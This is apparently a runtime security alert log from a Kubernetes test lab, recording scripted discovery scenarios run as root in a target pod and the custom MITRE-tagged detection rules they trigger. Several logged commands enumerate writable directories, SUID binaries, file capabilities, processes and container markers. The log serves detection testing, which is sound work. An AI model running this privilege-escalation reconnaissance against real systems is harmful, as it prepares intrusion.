{"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:11.674933114+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe parent= container=cible1 pod=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204671674933114,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe","proc.name":"sh","proc.pname":null,"user.name":"root"},"priority":"Warning","rule":"Custom T1059.004 Non Interactive Shell","source":"syscall","tags":["T1059.004","custom","mitre"],"time":"2026-11-09T06:11:11.674933114Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:11.674933114+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe parent= container=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204671674933114,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe","proc.name":"sh","proc.pname":null,"user.name":"root"},"priority":"Warning","rule":"Custom T1082 Enumeration Script","source":"syscall","tags":["T1082","custom","mitre"],"time":"2026-11-09T06:11:11.674933114Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:11.674933114+0000: Warning PR10 ROUTE S01 PB1 (pod=cible1 namespace=default scenario=S01 commande=sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe)","output_fields":{"evt.time.iso8601":1794204671674933114,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe","proc.name":"sh"},"priority":"Warning","rule":"PR10 Route S01 PB1","source":"syscall","tags":["T1082","mitre","pb1","pr10_route","scenario_s01"],"time":"2026-11-09T06:11:11.674933114Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:11.674933114+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe process=sh parent= container=cible1 pod=cible1 namespace=default)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204671674933114,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe","proc.name":"sh","proc.pname":null,"user.name":"root","user.uid":0},"priority":"Warning","rule":"Shell Script Executed From Writable Container Path","source":"syscall","tags":["caldera","container","mitre","script_execution"],"time":"2026-11-09T06:11:11.674933114Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:18.191508819+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S02; uname -a; cat /etc/os-release 2>/dev/null | head -20; id; find /usr/bin /usr/sbin -type f \\( -perm -4000 -o -perm -2000 \\) -ls 2>/dev/null | head -40; if command -v getcap >/dev/null 2>&1; then getcap -r / 2>/dev/null | head -100; fi parent= container=cible1 pod=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204678191508819,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S02; uname -a; cat /etc/os-release 2>/dev/null | head -20; id; find /usr/bin /usr/sbin -type f \\( -perm -4000 -o -perm -2000 \\) -ls 2>/dev/null | head -40; if command -v getcap >/dev/null 2>&1; then getcap -r / 2>/dev/null | head -100; fi","proc.name":"sh","proc.pname":null,"user.name":"root"},"priority":"Warning","rule":"Custom T1059.004 Non Interactive Shell","source":"syscall","tags":["T1059.004","custom","mitre"],"time":"2026-11-09T06:11:18.191508819Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:18.191508819+0000: Warning PR10 ROUTE S02 PB1 (pod=cible1 namespace=default scenario=S02 commande=sh -c PR10_SCENARIO=S02; uname -a; cat /etc/os-release 2>/dev/null | head -20; id; find /usr/bin /usr/sbin -type f \\( -perm -4000 -o -perm -2000 \\) -ls 2>/dev/null | head -40; if command -v getcap >/dev/null 2>&1; then getcap -r / 2>/dev/null | head -100; fi)","output_fields":{"evt.time.iso8601":1794204678191508819,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S02; uname -a; cat /etc/os-release 2>/dev/null | head -20; id; find /usr/bin /usr/sbin -type f \\( -perm -4000 -o -perm -2000 \\) -ls 2>/dev/null | head -40; if command -v getcap >/dev/null 2>&1; then getcap -r / 2>/dev/null | head -100; fi","proc.name":"sh"},"priority":"Warning","rule":"PR10 Route S02 PB1","source":"syscall","tags":["T1082","mitre","pb1","pr10_route","scenario_s02"],"time":"2026-11-09T06:11:18.191508819Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:18.221725403+0000: Notice CUSTOM - Découverte du système de fichiers (user=root command=find /usr/bin /usr/sbin -type f ( -perm -4000 -o -perm -2000 ) -ls container=cible1 pod=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204678221725403,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"find /usr/bin /usr/sbin -type f ( -perm -4000 -o -perm -2000 ) -ls","proc.name":"find","user.name":"root"},"priority":"Notice","rule":"Custom Suspicious Filesystem Enumeration","source":"syscall","tags":["T1082","T1083","custom","mitre"],"time":"2026-11-09T06:11:18.221725403Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:18.244972795+0000: Critical Executing binary not part of base image | proc_exe=getcap proc_sname=sh gparent= proc_exe_ino_ctime=1794203433918936480 proc_exe_ino_mtime=1783933016000000000 proc_exe_ino_ctime_duration_proc_start=1244324604169 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=getcap proc_exepath=/usr/sbin/getcap parent=sh command=getcap -r / terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER","output_fields":{"container.start_ts":1794203423779498188,"evt.arg.flags":"EXE_WRITABLE|EXE_UPPER_LAYER","evt.time.iso8601":1794204678244972795,"evt.type":"execve","fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.aname[2]":null,"proc.cmdline":"getcap -r /","proc.cwd":"/","proc.exe":"getcap","proc.exe_ino.ctime":1794203433918936480,"proc.exe_ino.ctime_duration_proc_start":1244324604169,"proc.exe_ino.mtime":1783933016000000000,"proc.exepath":"/usr/sbin/getcap","proc.name":"getcap","proc.pname":"sh","proc.sname":"sh","proc.tty":0,"user.loginuid":-1,"user.name":"root","user.uid":0},"priority":"Critical","rule":"Drop and execute new binary in container","source":"syscall","tags":["PCI_DSS_11.5.1","TA0003","container","maturity_stable","mitre_persistence","process"],"time":"2026-11-09T06:11:18.244972795Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:25.082595355+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S03; ps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30 parent= container=cible1 pod=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204685082595355,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S03; ps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30","proc.name":"sh","proc.pname":null,"user.name":"root"},"priority":"Warning","rule":"Custom T1059.004 Non Interactive Shell","source":"syscall","tags":["T1059.004","custom","mitre"],"time":"2026-11-09T06:11:25.082595355Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:25.082595355+0000: Warning PR10 ROUTE S03 PB1 (pod=cible1 namespace=default scenario=S03 commande=sh -c PR10_SCENARIO=S03; ps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30)","output_fields":{"evt.time.iso8601":1794204685082595355,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S03; ps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30","proc.name":"sh"},"priority":"Warning","rule":"PR10 Route S03 PB1","source":"syscall","tags":["T1057","mitre","pb1","pr10_route","scenario_s03"],"time":"2026-11-09T06:11:25.082595355Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:25.090625190+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps aux parent=sh container=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204685090625190,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"ps aux","proc.name":"ps","proc.pname":"sh","user.name":"root"},"priority":"Notice","rule":"Custom T1057 Process Discovery","source":"syscall","tags":["T1057","custom","mitre"],"time":"2026-11-09T06:11:25.090625190Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:25.090625190+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent= proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1250364661160 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps aux terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER","output_fields":{"container.start_ts":1794203423779498188,"evt.arg.flags":"EXE_WRITABLE|EXE_UPPER_LAYER","evt.time.iso8601":1794204685090625190,"evt.type":"execve","fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.aname[2]":null,"proc.cmdline":"ps aux","proc.cwd":"/","proc.exe":"ps","proc.exe_ino.ctime":1794203434720940389,"proc.exe_ino.ctime_duration_proc_start":1250364661160,"proc.exe_ino.mtime":1753876720000000000,"proc.exepath":"/usr/bin/ps","proc.name":"ps","proc.pname":"sh","proc.sname":"sh","proc.tty":0,"user.loginuid":-1,"user.name":"root","user.uid":0},"priority":"Critical","rule":"Drop and execute new binary in container","source":"syscall","tags":["PCI_DSS_11.5.1","TA0003","container","maturity_stable","mitre_persistence","process"],"time":"2026-11-09T06:11:25.090625190Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:25.090625190+0000: Warning PR10 RESPONSE PB1 (pod=cible1 namespace=default processus=ps commande=ps aux)","output_fields":{"evt.time.iso8601":1794204685090625190,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"ps aux","proc.name":"ps"},"priority":"Warning","rule":"PR10 Response Trigger PB1 Process Discovery","source":"syscall","tags":["T1057","mitre","pb1","pr10_response"],"time":"2026-11-09T06:11:25.090625190Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:25.111305412+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps -eo pid,ppid,user,comm,args --sort=pid parent=sh container=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204685111305412,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"ps -eo pid,ppid,user,comm,args --sort=pid","proc.name":"ps","proc.pname":"sh","user.name":"root"},"priority":"Notice","rule":"Custom T1057 Process Discovery","source":"syscall","tags":["T1057","custom","mitre"],"time":"2026-11-09T06:11:25.111305412Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:25.111305412+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent= proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1250387130820 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps -eo pid,ppid,user,comm,args --sort=pid terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER","output_fields":{"container.start_ts":1794203423779498188,"evt.arg.flags":"EXE_WRITABLE|EXE_UPPER_LAYER","evt.time.iso8601":1794204685111305412,"evt.type":"execve","fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.aname[2]":null,"proc.cmdline":"ps -eo pid,ppid,user,comm,args --sort=pid","proc.cwd":"/","proc.exe":"ps","proc.exe_ino.ctime":1794203434720940389,"proc.exe_ino.ctime_duration_proc_start":1250387130820,"proc.exe_ino.mtime":1753876720000000000,"proc.exepath":"/usr/bin/ps","proc.name":"ps","proc.pname":"sh","proc.sname":"sh","proc.tty":0,"user.loginuid":-1,"user.name":"root","user.uid":0},"priority":"Critical","rule":"Drop and execute new binary in container","source":"syscall","tags":["PCI_DSS_11.5.1","TA0003","container","maturity_stable","mitre_persistence","process"],"time":"2026-11-09T06:11:25.111305412Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:31.737014172+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S04; ps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40 parent= container=cible1 pod=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204691737014172,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S04; ps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40","proc.name":"sh","proc.pname":null,"user.name":"root"},"priority":"Warning","rule":"Custom T1059.004 Non Interactive Shell","source":"syscall","tags":["T1059.004","custom","mitre"],"time":"2026-11-09T06:11:31.737014172Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:31.737014172+0000: Warning PR10 ROUTE S04 PB1 (pod=cible1 namespace=default scenario=S04 commande=sh -c PR10_SCENARIO=S04; ps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40)","output_fields":{"evt.time.iso8601":1794204691737014172,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S04; ps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40","proc.name":"sh"},"priority":"Warning","rule":"PR10 Route S04 PB1","source":"syscall","tags":["T1057","mitre","pb1","pr10_route","scenario_s04"],"time":"2026-11-09T06:11:31.737014172Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:31.738974028+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps aux parent=sh container=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204691738974028,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"ps aux","proc.name":"ps","proc.pname":"sh","user.name":"root"},"priority":"Notice","rule":"Custom T1057 Process Discovery","source":"syscall","tags":["T1057","custom","mitre"],"time":"2026-11-09T06:11:31.738974028Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:31.738974028+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent= proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1257017684196 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps aux terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER","output_fields":{"container.start_ts":1794203423779498188,"evt.arg.flags":"EXE_WRITABLE|EXE_UPPER_LAYER","evt.time.iso8601":1794204691738974028,"evt.type":"execve","fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.aname[2]":null,"proc.cmdline":"ps aux","proc.cwd":"/","proc.exe":"ps","proc.exe_ino.ctime":1794203434720940389,"proc.exe_ino.ctime_duration_proc_start":1257017684196,"proc.exe_ino.mtime":1753876720000000000,"proc.exepath":"/usr/bin/ps","proc.name":"ps","proc.pname":"sh","proc.sname":"sh","proc.tty":0,"user.loginuid":-1,"user.name":"root","user.uid":0},"priority":"Critical","rule":"Drop and execute new binary in container","source":"syscall","tags":["PCI_DSS_11.5.1","TA0003","container","maturity_stable","mitre_persistence","process"],"time":"2026-11-09T06:11:31.738974028Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:31.738974028+0000: Warning PR10 RESPONSE PB1 (pod=cible1 namespace=default processus=ps commande=ps aux)","output_fields":{"evt.time.iso8601":1794204691738974028,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"ps aux","proc.name":"ps"},"priority":"Warning","rule":"PR10 Response Trigger PB1 Process Discovery","source":"syscall","tags":["T1057","mitre","pb1","pr10_response"],"time":"2026-11-09T06:11:31.738974028Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:31.744938045+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps -ef parent=sh container=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204691744938045,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"ps -ef","proc.name":"ps","proc.pname":"sh","user.name":"root"},"priority":"Notice","rule":"Custom T1057 Process Discovery","source":"syscall","tags":["T1057","custom","mitre"],"time":"2026-11-09T06:11:31.744938045Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:31.744938045+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent= proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1257023071057 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps -ef terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER","output_fields":{"container.start_ts":1794203423779498188,"evt.arg.flags":"EXE_WRITABLE|EXE_UPPER_LAYER","evt.time.iso8601":1794204691744938045,"evt.type":"execve","fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.aname[2]":null,"proc.cmdline":"ps -ef","proc.cwd":"/","proc.exe":"ps","proc.exe_ino.ctime":1794203434720940389,"proc.exe_ino.ctime_duration_proc_start":1257023071057,"proc.exe_ino.mtime":1753876720000000000,"proc.exepath":"/usr/bin/ps","proc.name":"ps","proc.pname":"sh","proc.sname":"sh","proc.tty":0,"user.loginuid":-1,"user.name":"root","user.uid":0},"priority":"Critical","rule":"Drop and execute new binary in container","source":"syscall","tags":["PCI_DSS_11.5.1","TA0003","container","maturity_stable","mitre_persistence","process"],"time":"2026-11-09T06:11:31.744938045Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:31.777307578+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps -eo pid,ppid,user,stat,comm --sort=pid parent=sh container=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204691777307578,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"ps -eo pid,ppid,user,stat,comm --sort=pid","proc.name":"ps","proc.pname":"sh","user.name":"root"},"priority":"Notice","rule":"Custom T1057 Process Discovery","source":"syscall","tags":["T1057","custom","mitre"],"time":"2026-11-09T06:11:31.777307578Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:31.777307578+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent= proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1257055416177 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps -eo pid,ppid,user,stat,comm --sort=pid terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER","output_fields":{"container.start_ts":1794203423779498188,"evt.arg.flags":"EXE_WRITABLE|EXE_UPPER_LAYER","evt.time.iso8601":1794204691777307578,"evt.type":"execve","fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.aname[2]":null,"proc.cmdline":"ps -eo pid,ppid,user,stat,comm --sort=pid","proc.cwd":"/","proc.exe":"ps","proc.exe_ino.ctime":1794203434720940389,"proc.exe_ino.ctime_duration_proc_start":1257055416177,"proc.exe_ino.mtime":1753876720000000000,"proc.exepath":"/usr/bin/ps","proc.name":"ps","proc.pname":"sh","proc.sname":"sh","proc.tty":0,"user.loginuid":-1,"user.name":"root","user.uid":0},"priority":"Critical","rule":"Drop and execute new binary in container","source":"syscall","tags":["PCI_DSS_11.5.1","TA0003","container","maturity_stable","mitre_persistence","process"],"time":"2026-11-09T06:11:31.777307578Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:38.385153442+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S05; ps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\\0' ' ' < \"$p\" 2>/dev/null | head -c 160; echo; done | head -30 parent= container=cible1 pod=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204698385153442,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S05; ps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\\0' ' ' < \"$p\" 2>/dev/null | head -c 160; echo; done | head -30","proc.name":"sh","proc.pname":null,"user.name":"root"},"priority":"Warning","rule":"Custom T1059.004 Non Interactive Shell","source":"syscall","tags":["T1059.004","custom","mitre"],"time":"2026-11-09T06:11:38.385153442Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:38.385153442+0000: Warning PR10 ROUTE S05 PB1 (pod=cible1 namespace=default scenario=S05 commande=sh -c PR10_SCENARIO=S05; ps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\\0' ' ' < \"$p\" 2>/dev/null | head -c 160; echo; done | head -30)","output_fields":{"evt.time.iso8601":1794204698385153442,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S05; ps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\\0' ' ' < \"$p\" 2>/dev/null | head -c 160; echo; done | head -30","proc.name":"sh"},"priority":"Warning","rule":"PR10 Route S05 PB1","source":"syscall","tags":["T1057","mitre","pb1","pr10_route","scenario_s05"],"time":"2026-11-09T06:11:38.385153442Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:38.391856292+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps parent=sh container=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204698391856292,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"ps","proc.name":"ps","proc.pname":"sh","user.name":"root"},"priority":"Notice","rule":"Custom T1057 Process Discovery","source":"syscall","tags":["T1057","custom","mitre"],"time":"2026-11-09T06:11:38.391856292Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:38.391856292+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent= proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1263670554160 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER","output_fields":{"container.start_ts":1794203423779498188,"evt.arg.flags":"EXE_WRITABLE|EXE_UPPER_LAYER","evt.time.iso8601":1794204698391856292,"evt.type":"execve","fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.aname[2]":null,"proc.cmdline":"ps","proc.cwd":"/","proc.exe":"ps","proc.exe_ino.ctime":1794203434720940389,"proc.exe_ino.ctime_duration_proc_start":1263670554160,"proc.exe_ino.mtime":1753876720000000000,"proc.exepath":"/usr/bin/ps","proc.name":"ps","proc.pname":"sh","proc.sname":"sh","proc.tty":0,"user.loginuid":-1,"user.name":"root","user.uid":0},"priority":"Critical","rule":"Drop and execute new binary in container","source":"syscall","tags":["PCI_DSS_11.5.1","TA0003","container","maturity_stable","mitre_persistence","process"],"time":"2026-11-09T06:11:38.391856292Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:44.963596205+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S06; ps aux | grep -Ei 'qemu|vmware|virtualbox|hyperv|containerd|kube|docker' | head -25 || true; cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo container-marker-present || true parent= container=cible1 pod=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204704963596205,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S06; ps aux | grep -Ei 'qemu|vmware|virtualbox|hyperv|containerd|kube|docker' | head -25 || true; cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo container-marker-present || true","proc.name":"sh","proc.pname":null,"user.name":"root"},"priority":"Warning","rule":"Custom T1059.004 Non Interactive Shell","source":"syscall","tags":["T1059.004","custom","mitre"],"time":"2026-11-09T06:11:44.963596205Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:44.963596205+0000: Warning PR10 ROUTE S06 PB1 (pod=cible1 namespace=default scenario=S06 commande=sh -c PR10_SCENARIO=S06; ps aux | grep -Ei 'qemu|vmware|virtualbox|hyperv|containerd|kube|docker' | head -25 || true; cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo container-marker-present || true)","output_fields":{"evt.time.iso8601":1794204704963596205,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"sh -c PR10_SCENARIO=S06; ps aux | grep -Ei 'qemu|vmware|virtualbox|hyperv|containerd|kube|docker' | head -25 || true; cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo container-marker-present || true","proc.name":"sh"},"priority":"Warning","rule":"PR10 Route S06 PB1","source":"syscall","tags":["T1057","mitre","pb1","pr10_route","scenario_s06"],"time":"2026-11-09T06:11:44.963596205Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:44.967222155+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps aux parent=sh container=cible1)","output_fields":{"container.name":"cible1","evt.time.iso8601":1794204704967222155,"fd.name":null,"k8s.ns.name":"default","k8s.pod.name":"cible1","proc.cmdline":"ps aux","proc.name":"ps","proc.pname":"sh","user.name":"root"},"priority":"Notice","rule":"Custom T1057 Process Discovery","source":"syscall","tags":["T1057","custom","mitre"],"time":"2026-11-09T06:11:44.967222155Z"} {"hostname":"secu-lab-control-plane","output":"2026-11-09T06:11:44.967222155+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent= proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1270245816496 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps aux terminal=0 